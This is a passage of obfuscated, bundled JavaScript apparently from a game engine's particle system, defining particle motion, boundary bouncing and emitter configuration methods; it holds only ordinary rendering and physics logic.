this['power']; this['_gravity'] = _0xfd14eb, this['power'] = _0x4a62be; } } }); _0x3f9870['exports'] = _0x28ad06; }, 0xdca0: (_0x54c294, _0x5ab756, _0x5a2bf5) => { var _0x4b9ebc = _0x5a2bf5(0x25ca), _0x4b7123 = _0x5a2bf5(0xb107), _0x513979 = _0x5a2bf5(0x145db), _0x177ef7 = _0x5a2bf5(0x9a52), _0x36ddc8 = _0x5a2bf5(0x15721), _0x9033f6 = _0x5a2bf5(0x2d00), _0x35395d = _0x5a2bf5(0x65f3), _0x508b0e = new _0x513979({ 'initialize': function (_0x147ef0) { this['emitter'] = _0x147ef0, this['texture'] = null, this['frame'] = null, this['x'] = 0x0, this['y'] = 0x0, this['worldPosition'] = new _0x35395d(), this['velocityX'] = 0x0, this['velocityY'] = 0x0, this['accelerationX'] = 0x0, this['accelerationY'] = 0x0, this['maxVelocityX'] = 0x2710, this['maxVelocityY'] = 0x2710, this['bounce'] = 0x0, this['scaleX'] = 0x1, this['scaleY'] = 0x1, this['alpha'] = 0x1, this['angle'] = 0x0, this['rotation'] = 0x0, this['tint'] = 0xffffff, this['life'] = 0x3e8, this['lifeCurrent'] = 0x3e8, this['delayCurrent'] = 0x0, this['holdCurrent'] = 0x0, this['lifeT'] = 0x0, this['data'] = { 'tint': { 'min': 0xffffff, 'max': 0xffffff }, 'alpha': { 'min': 0x1, 'max': 0x1 }, 'rotate': { 'min': 0x0, 'max': 0x0 }, 'scaleX': { 'min': 0x1, 'max': 0x1 }, 'scaleY': { 'min': 0x1, 'max': 0x1 }, 'x': { 'min': 0x0, 'max': 0x0 }, 'y': { 'min': 0x0, 'max': 0x0 }, 'accelerationX': { 'min': 0x0, 'max': 0x0 }, 'accelerationY': { 'min': 0x0, 'max': 0x0 }, 'maxVelocityX': { 'min': 0x0, 'max': 0x0 }, 'maxVelocityY': { 'min': 0x0, 'max': 0x0 }, 'moveToX': { 'min': 0x0, 'max': 0x0 }, 'moveToY': { 'min': 0x0, 'max': 0x0 }, 'bounce': { 'min': 0x0, 'max': 0x0 } }, this['isCropped'] = !0x1, this['scene'] = _0x147ef0['scene'], this['anims'] = null, this['emitter']['anims']['length'] > 0x0 && (this['anims'] = new _0x4b9ebc(this)), this['bounds'] = new _0x36ddc8(); }, 'emit': function (_0x1e9d19, _0x525dc3, _0x355a99, _0x3dae46, _0x1acfb5, _0x43b21c) { return this['emitter']['emit'](_0x1e9d19, _0x525dc3, _0x355a99, _0x3dae46, _0x1acfb5, _0x43b21c); }, 'isAlive': function () { return this['lifeCurrent'] > 0x0; }, 'kill': function () { this['lifeCurrent'] = 0x0; }, 'setPosition': function (_0x21bdc9, _0x3e1473) { void 0x0 === _0x21bdc9 && (_0x21bdc9 = 0x0), void 0x0 === _0x3e1473 && (_0x3e1473 = 0x0), this['x'] = _0x21bdc9, this['y'] = _0x3e1473; }, 'fire': function (_0x25e57a, _0x4af699) { var _0x345717 = this['emitter'], _0x4f6b1e = _0x345717['ops'], _0x1662f4 = _0x345717['getAnim'](); if (_0x1662f4 ? this['anims']['play'](_0x1662f4) : (this['frame'] = _0x345717['getFrame'](), this['texture'] = this['frame']['texture']), !this['frame']) throw new Error('Particle\x20has\x20no\x20texture\x20frame'); if (_0x345717['getEmitZone'](this), void 0x0 === _0x25e57a ? this['x'] += _0x4f6b1e['x']['onEmit'](this, 'x') : _0x4f6b1e['x']['steps'] > 0x0 ? this['x'] += _0x25e57a + _0x4f6b1e['x']['onEmit'](this, 'x') : this['x'] += _0x25e57a, void 0x0 === _0x4af699 ? this['y'] += _0x4f6b1e['y']['onEmit'](this, 'y') : _0x4f6b1e['y']['steps'] > 0x0 ? this['y'] += _0x4af699 + _0x4f6b1e['y']['onEmit'](this, 'y') : this['y'] += _0x4af699, this['life'] = _0x4f6b1e['lifespan']['onEmit'](this, 'lifespan'), this['lifeCurrent'] = this['life'], this['lifeT'] = 0x0, this['delayCurrent'] = _0x4f6b1e['delay']['onEmit'](this, 'delay'), this['holdCurrent'] = _0x4f6b1e['hold']['onEmit'](this, 'hold'), this['scaleX'] = _0x4f6b1e['scaleX']['onEmit'](this, 'scaleX'), this['scaleY'] = _0x4f6b1e['scaleY']['active'] ? _0x4f6b1e['scaleY']['onEmit'](this, 'scaleY') : this['scaleX'], this['angle'] = _0x4f6b1e['rotate']['onEmit'](this, 'rotate'), this['rotation'] = _0x177ef7(this['angle']), _0x345717['worldMatrix']['transformPoint'](this['x'], this['y'], this['worldPosition']), 0x0 === this['delayCurrent'] && _0x345717['getDeathZone'](this)) return this['lifeCurrent'] = 0x0, !0x1; var _0x35d000 = _0x4f6b1e['speedX']['onEmit'](this, 'speedX'), _0x4b1a3b = _0x4f6b1e['speedY']['active'] ? _0x4f6b1e['speedY']['onEmit'](this, 'speedY') : _0x35d000; if (_0x345717['radial']) { var _0x2aebf1 = _0x177ef7(_0x4f6b1e['angle']['onEmit'](this, 'angle')); this['velocityX'] = Math['cos'](_0x2aebf1) * Math['abs'](_0x35d000), this['velocityY'] = Math['sin'](_0x2aebf1) * Math['abs'](_0x4b1a3b); } else { if (_0x345717['moveTo']) { var _0x1f58b3 = _0x4f6b1e['moveToX']['onEmit'](this, 'moveToX'), _0x401f73 = _0x4f6b1e['moveToY']['onEmit'](this, 'moveToY'), _0x418b4a = this['life'] / 0x3e8; this['velocityX'] = (_0x1f58b3 - this['x']) / _0x418b4a, this['velocityY'] = (_0x401f73 - this['y']) / _0x418b4a; } else this['velocityX'] = _0x35d000, this['velocityY'] = _0x4b1a3b; } return _0x345717['acceleration'] && (this['accelerationX'] = _0x4f6b1e['accelerationX']['onEmit'](this, 'accelerationX'), this['accelerationY'] = _0x4f6b1e['accelerationY']['onEmit'](this, 'accelerationY')), this['maxVelocityX'] = _0x4f6b1e['maxVelocityX']['onEmit'](this, 'maxVelocityX'), this['maxVelocityY'] = _0x4f6b1e['maxVelocityY']['onEmit'](this, 'maxVelocityY'), this['bounce'] = _0x4f6b1e['bounce']['onEmit'](this, 'bounce'), this['alpha'] = _0x4f6b1e['alpha']['onEmit'](this, 'alpha'), _0x4f6b1e['color']['active'] ? this['tint'] = _0x4f6b1e['color']['onEmit'](this, 'tint') : this['tint'] = _0x4f6b1e['tint']['onEmit'](this, 'tint'), !0x0; }, 'update': function (_0x45789d, _0x318043, _0x35c9f8) { if (this['lifeCurrent'] <= 0x0) return !(this['holdCurrent'] > 0x0) || (this['holdCurrent'] -= _0x45789d, this['holdCurrent'] <= 0x0); if (this['delayCurrent'] > 0x0) return this['delayCurrent'] -= _0x45789d, !0x1; this['anims'] && this['anims']['update'](0x0, _0x45789d); var _0xfbf153 = this['emitter'], _0x3553f4 = _0xfbf153['ops'], _0x43e41e = 0x1 - this['lifeCurrent'] / this['life']; if (this['lifeT'] = _0x43e41e, this['x'] = _0x3553f4['x']['onUpdate'](this, 'x', _0x43e41e, this['x']), this['y'] = _0x3553f4['y']['onUpdate'](this, 'y', _0x43e41e, this['y']), _0xfbf153['moveTo']) { var _0x4d5637 = _0x3553f4['moveToX']['onUpdate'](this, 'moveToX', _0x43e41e, _0xfbf153['moveToX']), _0x26fdd4 = _0x3553f4['moveToY']['onUpdate'](this, 'moveToY', _0x43e41e, _0xfbf153['moveToY']), _0x4926c1 = this['lifeCurrent'] / 0x3e8; this['velocityX'] = (_0x4d5637 - this['x']) / _0x4926c1, this['velocityY'] = (_0x26fdd4 - this['y']) / _0x4926c1; } return this['computeVelocity'](_0xfbf153, _0x45789d, _0x318043, _0x35c9f8, _0x43e41e), this['scaleX'] = _0x3553f4['scaleX']['onUpdate'](this, 'scaleX', _0x43e41e, this['scaleX']), _0x3553f4['scaleY']['active'] ? this['scaleY'] = _0x3553f4['scaleY']['onUpdate'](this, 'scaleY', _0x43e41e, this['scaleY']) : this['scaleY'] = this['scaleX'], this['angle'] = _0x3553f4['rotate']['onUpdate'](this, 'rotate', _0x43e41e, this['angle']), this['rotation'] = _0x177ef7(this['angle']), _0xfbf153['getDeathZone'](this) ? (this['lifeCurrent'] = 0x0, !0x0) : (this['alpha'] = _0x4b7123(_0x3553f4['alpha']['onUpdate'](this, 'alpha', _0x43e41e, this['alpha']), 0x0, 0x1), _0x3553f4['color']['active'] ? this['tint'] = _0x3553f4['color']['onUpdate'](this, 'color', _0x43e41e, this['tint']) : this['tint'] = _0x3553f4['tint']['onUpdate'](this, 'tint', _0x43e41e, this['tint']), this['lifeCurrent'] -= _0x45789d, this['lifeCurrent'] <= 0x0 && this['holdCurrent'] <= 0x0); }, 'computeVelocity': function (_0x30b4c6, _0x3a2122, _0x4aa0c8, _0x988d28, _0x5c4034) { var _0x3d051b = _0x30b4c6['ops'], _0x329ba7 = this['velocityX'], _0x3a8a78 = this['velocityY'], _0xab3c6e = _0x3d051b['accelerationX']['onUpdate'](this, 'accelerationX', _0x5c4034, this['accelerationX']), _0xa5d707 = _0x3d051b['accelerationY']['onUpdate'](this, 'accelerationY', _0x5c4034, this['accelerationY']), _0x1cfb68 = _0x3d051b['maxVelocityX']['onUpdate'](this, 'maxVelocityX', _0x5c4034, this['maxVelocityX']), _0x13b132 = _0x3d051b['maxVelocityY']['onUpdate'](this, 'maxVelocityY', _0x5c4034, this['maxVelocityY']); this['bounce'] = _0x3d051b['bounce']['onUpdate'](this, 'bounce', _0x5c4034, this['bounce']), _0x329ba7 += _0x30b4c6['gravityX'] * _0x4aa0c8 + _0xab3c6e * _0x4aa0c8, _0x3a8a78 += _0x30b4c6['gravityY'] * _0x4aa0c8 + _0xa5d707 * _0x4aa0c8, _0x329ba7 = _0x4b7123(_0x329ba7, -_0x1cfb68, _0x1cfb68), _0x3a8a78 = _0x4b7123(_0x3a8a78, -_0x13b132, _0x13b132), this['velocityX'] = _0x329ba7, this['velocityY'] = _0x3a8a78, this['x'] += _0x329ba7 * _0x4aa0c8, this['y'] += _0x3a8a78 * _0x4aa0c8, _0x30b4c6['worldMatrix']['transformPoint'](this['x'], this['y'], this['worldPosition']); for (var _0x181d9d = 0x0; _0x181d9d < _0x988d28['length']; _0x181d9d++) { var _0x29c2d2 = _0x988d28[_0x181d9d]; _0x29c2d2['active'] && _0x29c2d2['update'](this, _0x3a2122, _0x4aa0c8, _0x5c4034); } }, 'setSizeToFrame': function () { }, 'getBounds': function (_0x3d4910) { void 0x0 === _0x3d4910 && (_0x3d4910 = this['emitter']['getWorldTransformMatrix']()); var _0x4286b1 = Math['abs'](_0x3d4910['scaleX']) * this['scaleX'], _0x3fccb = Math['abs'](_0x3d4910['scaleY']) * this['scaleY'], _0x4d8dcf = this['x'], _0x2fc1ea = this['y'], _0x13fd85 = this['rotation'], _0x59b08b = this['frame']['width'] * _0x4286b1 / 0x2, _0x37a38e = this['frame']['height'] * _0x3fccb / 0x2, _0x2ee767 = this['bounds'], _0x226a75 = new _0x35395d(_0x4d8dcf - _0x59b08b, _0x2fc1ea - _0x37a38e), _0x5114b0 = new _0x35395d(_0x4d8dcf + _0x59b08b, _0x2fc1ea - _0x37a38e), _0x27bae1 = new _0x35395d(_0x4d8dcf - _0x59b08b, _0x2fc1ea + _0x37a38e), _0x22a917 = new _0x35395d(_0x4d8dcf + _0x59b08b, _0x2fc1ea + _0x37a38e); return 0x0 !== _0x13fd85 && (_0x9033f6(_0x226a75, _0x4d8dcf, _0x2fc1ea, _0x13fd85), _0x9033f6(_0x5114b0, _0x4d8dcf, _0x2fc1ea, _0x13fd85), _0x9033f6(_0x27bae1, _0x4d8dcf, _0x2fc1ea, _0x13fd85), _0x9033f6(_0x22a917, _0x4d8dcf, _0x2fc1ea, _0x13fd85)), _0x3d4910['transformPoint'](_0x226a75['x'], _0x226a75['y'], _0x226a75), _0x3d4910['transformPoint'](_0x5114b0['x'], _0x5114b0['y'], _0x5114b0), _0x3d4910['transformPoint'](_0x27bae1['x'], _0x27bae1['y'], _0x27bae1), _0x3d4910['transformPoint'](_0x22a917['x'], _0x22a917['y'], _0x22a917), _0x2ee767['x'] = Math['min'](_0x226a75['x'], _0x5114b0['x'], _0x27bae1['x'], _0x22a917['x']), _0x2ee767['y'] = Math['min'](_0x226a75['y'], _0x5114b0['y'], _0x27bae1['y'], _0x22a917['y']), _0x2ee767['width'] = Math['max'](_0x226a75['x'], _0x5114b0['x'], _0x27bae1['x'], _0x22a917['x']) - _0x2ee767['x'], _0x2ee767['height'] = Math['max'](_0x226a75['y'], _0x5114b0['y'], _0x27bae1['y'], _0x22a917['y']) - _0x2ee767['y'], _0x2ee767; }, 'destroy': function () { this['anims'] && this['anims']['destroy'](), this['anims'] = null, this['emitter'] = null, this['texture'] = null, this['frame'] = null, this['scene'] = null; } }); _0x54c294['exports'] = _0x508b0e; }, 0x10fe1: (_0xa17121, _0x3cf35f, _0x17534f) => { var _0x391c59 = _0x17534f(0x145db), _0x444e4 = _0x17534f(0x4f3e), _0x42740d = _0x17534f(0x15721), _0x489e0a = new _0x391c59({ 'Extends': _0x444e4, 'initialize': function (_0x4e647c, _0x50e2be, _0x522e2d, _0x4f3354, _0x16196f, _0x220236, _0x2b9540, _0x1e87e3) { void 0x0 === _0x16196f && (_0x16196f = !0x0), void 0x0 === _0x220236 && (_0x220236 = !0x0), void 0x0 === _0x2b9540 && (_0x2b9540 = !0x0), void 0x0 === _0x1e87e3 && (_0x1e87e3 = !0x0), _0x444e4['call'](this, _0x4e647c, _0x50e2be, !0x0), this['bounds'] = new _0x42740d(_0x4e647c, _0x50e2be, _0x522e2d, _0x4f3354), this['collideLeft'] = _0x16196f, this['collideRight'] = _0x220236, this['collideTop'] = _0x2b9540, this['collideBottom'] = _0x1e87e3; }, 'update': function (_0x5ef0e2) { var _0x3b2240 = this['bounds'], _0x979efd = -_0x5ef0e2['bounce'], _0x3e4b8f = _0x5ef0e2['worldPosition']; _0x3e4b8f['x'] < _0x3b2240['x'] && this['collideLeft'] ? (_0x5ef0e2['x'] += _0x3b2240['x'] - _0x3e4b8f['x'], _0x5ef0e2['velocityX'] *= _0x979efd) : _0x3e4b8f['x'] > _0x3b2240['right'] && this['collideRight'] && (_0x5ef0e2['x'] -= _0x3e4b8f['x'] - _0x3b2240['right'], _0x5ef0e2['velocityX'] *= _0x979efd), _0x3e4b8f['y'] < _0x3b2240['y'] && this['collideTop'] ? (_0x5ef0e2['y'] += _0x3b2240['y'] - _0x3e4b8f['y'], _0x5ef0e2['velocityY'] *= _0x979efd) : _0x3e4b8f['y'] > _0x3b2240['bottom'] && this['collideBottom'] && (_0x5ef0e2['y'] -= _0x3e4b8f['y'] - _0x3b2240['bottom'], _0x5ef0e2['velocityY'] *= _0x979efd); } }); _0xa17121['exports'] = _0x489e0a; }, 0x7b70: (_0x5dc4c9, _0x37d599, _0x3ff84a) => { var _0x582f74 = _0x3ff84a(0x145db), _0x14a496 = _0x3ff84a(0x7aa9), _0x126cac = _0x3ff84a(0xd20e), _0x545408 = _0x3ff84a(0xa9c3), _0x41acf7 = _0x3ff84a(0x6714), _0x2bf783 = _0x3ff84a(0x4dc5), _0x5aed76 = _0x3ff84a(0x12ab8), _0x2dbe95 = _0x3ff84a(0xaee9), _0x192945 = _0x3ff84a(0x50d8), _0x35719c = _0x3ff84a(0x1759b), _0x222882 = _0x3ff84a(0x17534), _0x2b8396 = _0x3ff84a(0x67b2), _0x2d4312 = _0x3ff84a(0x5fb6), _0x4d66d3 = _0x3ff84a(0x7c1), _0x1a1054 = _0x3ff84a(0x17afe), _0x526d0d = _0x3ff84a(0x1504b), _0x13c87b = _0x3ff84a(0x11dca), _0x302633 = _0x3ff84a(0x4e6a), _0xc4a522 = _0x3ff84a(0x10d), _0x5b7ef4 = _0x3ff84a(0xdca0), _0xbefabd = _0x3ff84a(0x10fe1), _0x1bc3fc = _0x3ff84a(0x10d0b), _0x5be60d = _0x3ff84a(0x15721), _0x125c51 = _0x3ff84a(0xea5c), _0x397637 = _0x3ff84a(0x11cc9), _0x5c3db4 = _0x3ff84a(0x1622c), _0x11b4bb = _0x3ff84a(0x4af2), _0x224242 = _0x3ff84a(0xef9c), _0x39a883 = _0x3ff84a(0x65f3), _0x2c019f = _0x3ff84a(0x3e7a), _0x3f5d39 = ['active', 'advance', 'blendMode', 'colorEase', 'deathCallback', 'deathCallbackScope', 'duration', 'emitCallback', 'emitCallbackScope', 'follow', 'frequency', 'gravityX', 'gravityY', 'maxAliveParticles', 'maxParticles', 'name', 'emitting', 'particleBringToTop', 'particleClass', 'radial', 'sortCallback', 'sortOrderAsc', 'sortProperty', 'stopAfter', 'tintFill', 'timeScale', 'trackVisible', 'visible'], _0x4164ef = ['accelerationX', 'accelerationY', 'alpha', 'angle', 'bounce', 'color', 'delay', 'hold', 'lifespan', 'maxVelocityX', 'maxVelocityY', 'moveToX', 'moveToY', 'quantity', 'rotate', 'scaleX', 'scaleY', 'speedX', 'speedY', 'tint', 'x', 'y'], _0x508156 = new _0x582f74({ 'Extends': _0x35719c, 'Mixins': [_0x14a496['AlphaSingle'], _0x14a496['BlendMode'], _0x14a496['Depth'], _0x14a496['Mask'], _0x14a496['Pipeline'], _0x14a496['PostPipeline'], _0x14a496['ScrollFactor'], _0x14a496['Texture'], _0x14a496['Transform'], _0x14a496['Visible'], _0x5c3db4], 'initialize': function (_0x234e65, _0x1879ba, _0x2b9eeb, _0x1ab106, _0x5d2d36) { _0x35719c['call'](this, _0x234e65, 'ParticleEmitter'), this['particleClass'] = _0x5b7ef4, this['config'] = null, this['ops'] = { 'accelerationX': new _0x2dbe95('accelerationX', 0x0), 'accelerationY': new _0x2dbe95('accelerationY', 0x0), 'alpha': new _0x2dbe95('alpha', 0x1), 'angle': new _0x2dbe95('angle', { 'min': 0x0, 'max': 0x168 }, !0x0), 'bounce': new _0x2dbe95('bounce', 0x0), 'color': new _0x5aed76('color'), 'delay': new _0x2dbe95('delay', 0x0, !0x0), 'hold': new _0x2dbe95('hold', 0x0, !0x0), 'lifespan': new _0x2dbe95('lifespan', 0x3e8, !0x0), 'maxVelocityX': new _0x2dbe95('maxVelocityX', 0x2710), 'maxVelocityY': new _0x2dbe95('maxVelocityY', 0x2710), 'moveToX': new _0x2dbe95('moveToX', 0x0), 'moveToY': new _0x2dbe95('moveToY', 0x0), 'quantity': new _0x2dbe95('quantity', 0x1, !0x0), 'rotate': new _0x2dbe95('rotate', 0x0), 'scaleX': new _0x2dbe95('scaleX', 0x1), 'scaleY': new _0x2dbe95('scaleY', 0x1), 'speedX': new _0x2dbe95('speedX', 0x0, !0x0), 'speedY': new _0x2dbe95('speedY', 0x0, !0x0), 'tint': new _0x2dbe95('tint', 0xffffff), 'x': new _0x2dbe95('x', 0x0), 'y': new _0x2dbe95('y', 0x0) }, this['radial'] = !0x0, this['gravityX'] = 0x0, this['gravityY'] = 0x0, this['acceleration'] = !0x1, this['moveTo'] = !0x1, this['emitCallback'] = null, this['emitCallbackScope'] = null, this['deathCallback'] = null, this['deathCallbackScope'] = null, this['maxParticles'] = 0x0, this['maxAliveParticles'] = 0x0, this['stopAfter'] = 0x0, this['duration'] = 0x0, this['frequency'] = 0x0, this['emitting'] = !0x0, this['particleBringToTop'] = !0x0, this['timeScale'] = 0x1, this['emitZones'] = [], this['deathZones'] = [], this['viewBounds'] = null, this['follow'] = null, this['followOffset'] = new _0x39a883(), this['trackVisible'] = !0x1, this['frames'] = [], this['randomFrame'] = !0x0, this['frameQuantity'] = 0x1, this['anims'] = [], this['randomAnim'] = !0x0, this['animQuantity'] = 0x1, this['dead'] = [], this['alive'] = [], this['counters'] = new Float32Array(0xa), this['skipping'] = !0x1, this['worldMatrix'] = new _0x224242(), this['sortProperty'] = '', this['sortOrderAsc'] = !0x0, this['sortCallback'] = this['depthSortCallback'], this['processors'] = new _0x13c87b(this), this['tintFill'] = !0x1, this['initPipeline'](), this['initPostPipeline'](), this['setPosition'](_0x1879ba, _0x2b9eeb), this['setTexture'](_0x1ab106), _0x5d2d36 && this['setConfig'](_0x5d2d36); }, 'addedToScene': function () { this['scene']['sys']['updateList']['add'](this); }, 'removedFromScene': function () { this['scene']['sys']['updateList']['remove'](this); }, 'setConfig': function (_0x32a062) { if (!_0x32a062) return this; this['config'] = _0x32a062; var _0xe44098 = 0x0, _0xb60cd8 = '', _0x59eca2 = this['ops']; for (_0xe44098 = 0x0; _0xe44098 < _0x4164ef['length']; _0xe44098++)_0x59eca2[_0xb60cd8 = _0x4164ef[_0xe44098]]['loadConfig'](_0x32a062); for (_0xe44098 = 0x0; _0xe44098 < _0x3f5d39['length']; _0xe44098++)_0x1a1054(_0x32a062, _0xb60cd8 = _0x3f5d39[_0xe44098]) && (this[_0xb60cd8] = _0x222882(_0x32a062, _0xb60cd8)); if (this['acceleration'] = 0x0 !== this['accelerationX'] || 0x0 !== this['accelerationY'], this['moveTo'] = 0x0 !== this['moveToX'] && 0x0 !== this['moveToY'], _0x1a1054(_0x32a062, 'speed') && (_0x59eca2['speedX']['loadConfig'](_0x32a062, 'speed'), _0x59eca2['speedY']['active'] = !0x1), (_0x4d66d3(_0x32a062, ['speedX', 'speedY']) || this['moveTo']) && (this['radial'] = !0x1), _0x1a1054(_0x32a062, 'scale') && (_0x59eca2['scaleX']['loadConfig'](_0x32a062, 'scale'), _0x59eca2['scaleY']['active'] = !0x1), _0x1a1054(_0x32a062, 'callbackScope')) { var _0x525de = _0x222882(_0x32a062, 'callbackScope', null); this['emitCallbackScope'] = _0x525de, this['deathCallbackScope'] = _0x525de; } if (_0x1a1054(_0x32a062, 'emitZone') && this['addEmitZone'](_0x32a062['emitZone']), _0x1a1054(_0x32a062, 'deathZone') && this['addDeathZone'](_0x32a062['deathZone']), _0x1a1054(_0x32a062, 'bounds')) { var _0x5e86e1 = this['addParticleBounds'](_0x32a062['bounds']); _0x5e86e1['collideLeft'] = _0x222882(_0x32a062, 'collideLeft', !0x0), _0x5e86e1['collideRight'] = _0x222882(_0x32a062, 'collideRight', !0x0), _0x5e86e1['collideTop'] = _0x222882(_0x32a062, 'collideTop', !0x0), _0x5e86e1['collideBottom'] = _0x222882(_0x32a062, 'collideBottom', !0x0); } return _0x1a1054(_0x32a062, 'followOffset') && this['followOffset']['setFromObject'](_0x222882(_0x32a062, 'followOffset', 0x0)), _0x1a1054(_0x32a062, 'texture') && this['setTexture'](_0x32a062['texture']), _0x1a1054(_0x32a062, 'frame') ? this['setEmitterFrame'](_0x32a062['frame']) : _0x1a1054(_0x32a062, 'anim') && this['setAnim'](_0x32a062['anim']), _0x1a1054(_0x32a062, 'reserve') && this['reserve'](_0x32a062['reserve']), _0x1a1054(_0x32a062, 'advance') && this['fastForward'](_0x32a062['advance']), this['resetCounters'](this['frequency'], this['emitting']), this['emitting'] && this['emit'](_0x192945['START'], this), this; }, 'updateConfig': function (_0x2bf963) { return _0x2bf963 && (this['config'] ? this['setConfig'](_0xc4a522(this['config'], _0x2bf963)) : this['setConfig'](_0x2bf963)), this; }, 'toJSON': function () { var _0x263283 = _0x126cac(this), _0x1feb84 = 0x0, _0x46c4d0 = ''; for (_0x1feb84 = 0x0; _0x1feb84 < _0x3f5d39['length']; _0x1feb84++)_0x263283[_0x46c4d0 = _0x3f5d39[_0x1feb84]] = this[_0x46c4d0]; var _0x3b4287 = this['ops']; for (_0x1feb84 = 0x0; _0x1feb84 < _0x4164ef['length']; _0x1feb84++)_0x3b4287[_0x46c4d0 = _0x4164ef[_0x1feb84]] && (_0x263283[_0x46c4d0] = _0x3b4287[_0x46c4d0]['toJSON']()); return _0x3b4287['speedY']['active'] || (delete _0x263283['speedX'], _0x263283['speed'] = _0x3b4287['speedX']['toJSON']()), this['scaleX'] === this['scaleY'] && (delete _0x263283['scaleX'], delete _0x263283['scaleY'], _0x263283['scale'] = _0x3b4287['scaleX']['toJSON']()), _0x263283; }, 'resetCounters': function (_0x5d62c1, _0x3f3e5e) { var _0x569cc5 = this['counters']; _0x569cc5['fill'](0x0), _0x569cc5[0x0] = _0x5d62c1, _0x3f3e5e && (_0x569cc5[0x5] = 0x1); }, 'startFollow': function (_0x441ea9, _0x54c97e, _0x4249c2, _0x533dc9) { return void 0x0 === _0x54c97e && (_0x54c97e = 0x0), void 0x0 === _0x4249c2 && (_0x4249c2 = 0x0), void 0x0 === _0x533dc9 && (_0x533dc9 = !0x1), this['follow'] = _0x441ea9, this['followOffset']['set'](_0x54c97e, _0x4249c2), this['trackVisible'] = _0x533dc9, this; }, 'stopFollow': function () { return this['follow'] = null, this['followOffset']['set'](0x0, 0x0), this['trackVisible'] = !0x1, this; }, 'getFrame': function () { var _0x1d0ce1, _0x1240a2 = this['frames'], _0xb8075a = _0x1240a2['length']; return 0x1 === _0xb8075a ? _0x1d0ce1 = _0x1240a2[0x0] : this['randomFrame'] ? _0x1d0ce1 = _0x2b8396(_0x1240a2) : (_0x1d0ce1 = _0x1240a2[this['currentFrame']], this['frameCounter']++, this['frameCounter'] === this['frameQuantity'] && (this['frameCounter'] = 0x0, this['currentFrame']++, this['currentFrame'] === _0xb8075a && (this['currentFrame'] = 0x0))), this['texture']['get'](_0x1d0ce1); }, 'setEmitterFrame': function (_0x9b8ba0, _0x28b0ea, _0x58d61b) { void 0x0 === _0x28b0ea && (_0x28b0ea = !0x0), void 0x0 === _0x58d61b && (_0x58d61b = 0x1), this['randomFrame'] = _0x28b0ea, this['frameQuantity'] = _0x58d61b, this['currentFrame'] = 0x0; var _0x4c14f3 = typeof _0x9b8ba0; if (this['frames']['length'] = 0x0, Array['isArray'](_0x9b8ba0)) this['frames'] = this['frames']['concat'](_0x9b8ba0); else { if ('string' === _0x4c14f3 || 'number' === _0x4c14f3) this['frames']['push'](_0x9b8ba0); else { if ('object' === _0x4c14f3) { var _0xe938d = _0x9b8ba0; (_0x9b8ba0 = _0x222882(_0xe938d, 'frames', null)) && (this['frames'] = this['frames']['concat'](_0x9b8ba0)); var _0xb0b74d = _0x222882(_0xe938d, 'cycle', !0x1); this['randomFrame'] = !_0xb0b74d, this['frameQuantity'] = _0x222882(_0xe938d, 'quantity', _0x58d61b); } } } return 0x1 === this['frames']['length'] && (this['frameQuantity'] = 0x1, this['randomFrame'] = !0x1), this; }, 'getAnim': function () { var _0x4ba140 = this['anims'], _0x3cbe28 = _0x4ba140['length']; if (0x0 === _0x3cbe28) return null; if (0x1 === _0x3cbe28) return _0x4ba140[0x0]; if (this['randomAnim']) return _0x2b8396(_0x4ba140); var _0x44370c = _0x4ba140[this['currentAnim']]; return this['animCounter']++, this['animCounter'] >= this['animQuantity'] && (this['animCounter'] = 0x0, this['currentAnim'] = _0x2c019f(this['currentAnim'] + 0x1, 0x0, _0x3cbe28)), _0x44370c; }, 'setAnim': function (_0x5ba0d7, _0x73b6d9, _0x4d70e2) { void 0x0 === _0x73b6d9 && (_0x73b6d9 = !0x0), void 0x0 === _0x4d70e2 && (_0x4d70e2 = 0x1), this['randomAnim'] = _0x73b6d9, this['animQuantity'] = _0x4d70e2, this['currentAnim'] = 0x0; var _0x61dbf0 = typeof _0x5ba0d7; if (this['anims']['length'] = 0x0, Array['isArray'](_0x5ba0d7)) this['anims'] = this['anims']['concat'](_0x5ba0d7); else { if ('string' === _0x61dbf0) this['anims']['push'](_0x5ba0d7); else { if ('object' === _0x61dbf0) { var _0x126f9a = _0x5ba0d7; (_0x5ba0d7 = _0x222882(_0x126f9a, 'anims', null)) && (this['anims'] = this['anims']['concat'](_0x5ba0d7)); var _0x1863c2 = _0x222882(_0x126f9a, 'cycle', !0x1); this['randomAnim'] = !_0x1863c2, this['animQuantity'] = _0x222882(_0x126f9a, 'quantity', _0x4d70e2); } } } return 0x1 === this['anims']['length'] && (this['animQuantity'] = 0x1, this['randomAnim'] = !0x1), this; }, 'setRadial': function (_0x3cda37) { return void 0x0 === _0x3cda37 && (_0x3cda37 = !0x0), this['radial'] = _0x3cda37, this; }, 'addParticleBounds': function (_0x5cbd6d, _0x1b24cf, _0x48d7c4, _0x308891, _0x382727, _0x1d6804, _0x2d0a28, _0x5c4495) { if ('object' == typeof _0x5cbd6d) { var _0x421c94 = _0x5cbd6d; _0x5cbd6d = _0x421c94['x'], _0x1b24cf = _0x421c94['y'], _0x48d7c4 = _0x1a1054(_0x421c94, 'w') ? _0x421c94['w'] : _0x421c94['width'], _0x308891 = _0x1a1054(_0x421c94, 'h') ? _0x421c94['h'] : _0x421c94['height']; } return this['addParticleProcessor'](new _0xbefabd(_0x5cbd6d, _0x1b24cf, _0x48d7c4, _0x308891, _0x382727, _0x1d6804, _0x2d0a28, _0x5c4495)); }, 'setParticleSpeed': function (_0x621f9a, _0x166227) { return void 0x0 === _0x166227 && (_0x166227 = _0x621f9a), this['ops']['speedX']['onChange'](_0x621f9a), _0x621f9a === _0x166227 ? this['ops']['speedY']['active'] = !0x1 : this['ops']['speedY']['onChange'](_0x166227), this['radial'] = !0x0, this; }, 'setParticleScale': function (_0x5b73d7, _0x204211) { return void 0x0 === _0x5b73d7 && (_0x5b73d7 = 0x1), void 0x0 === _0x204211 && (_0x204211 = _0x5b73d7), this['ops']['scaleX']['onChange'](_0x5b73d7), this['ops']['scaleY']['onChange'](_0x204211), this; }, 'setParticleGravity': function (_0xc51bf3, _0x2df253) { return this['gravityX'] = _0xc51bf3, this['gravityY'] = _0x2df253, this; }, 'setParticleAlpha': function (_0x2b794e) { return this['ops']['alpha']['onChange'](_0x2b794e), this; }, 'setParticleTint': function (_0x5c8476) { return this['ops']['tint']['onChange'](_0x5c8476), this; }, 'setEmitterAngle': function (_0x5b6b3f) { return this['ops']['angle']['onChange'](_0x5b6b3f), this; }, 'setParticleLifespan': function (_0x43e39e) { return this['ops']['lifespan']['onChange'](_0x43e39e), this; }, 'setQuantity': function (_0x5890d6) { return this['quantity'] = _0x5890d6, this; }, 'setFrequency': function (_0x339f23, _0x53efaf) { return this['frequency'] = 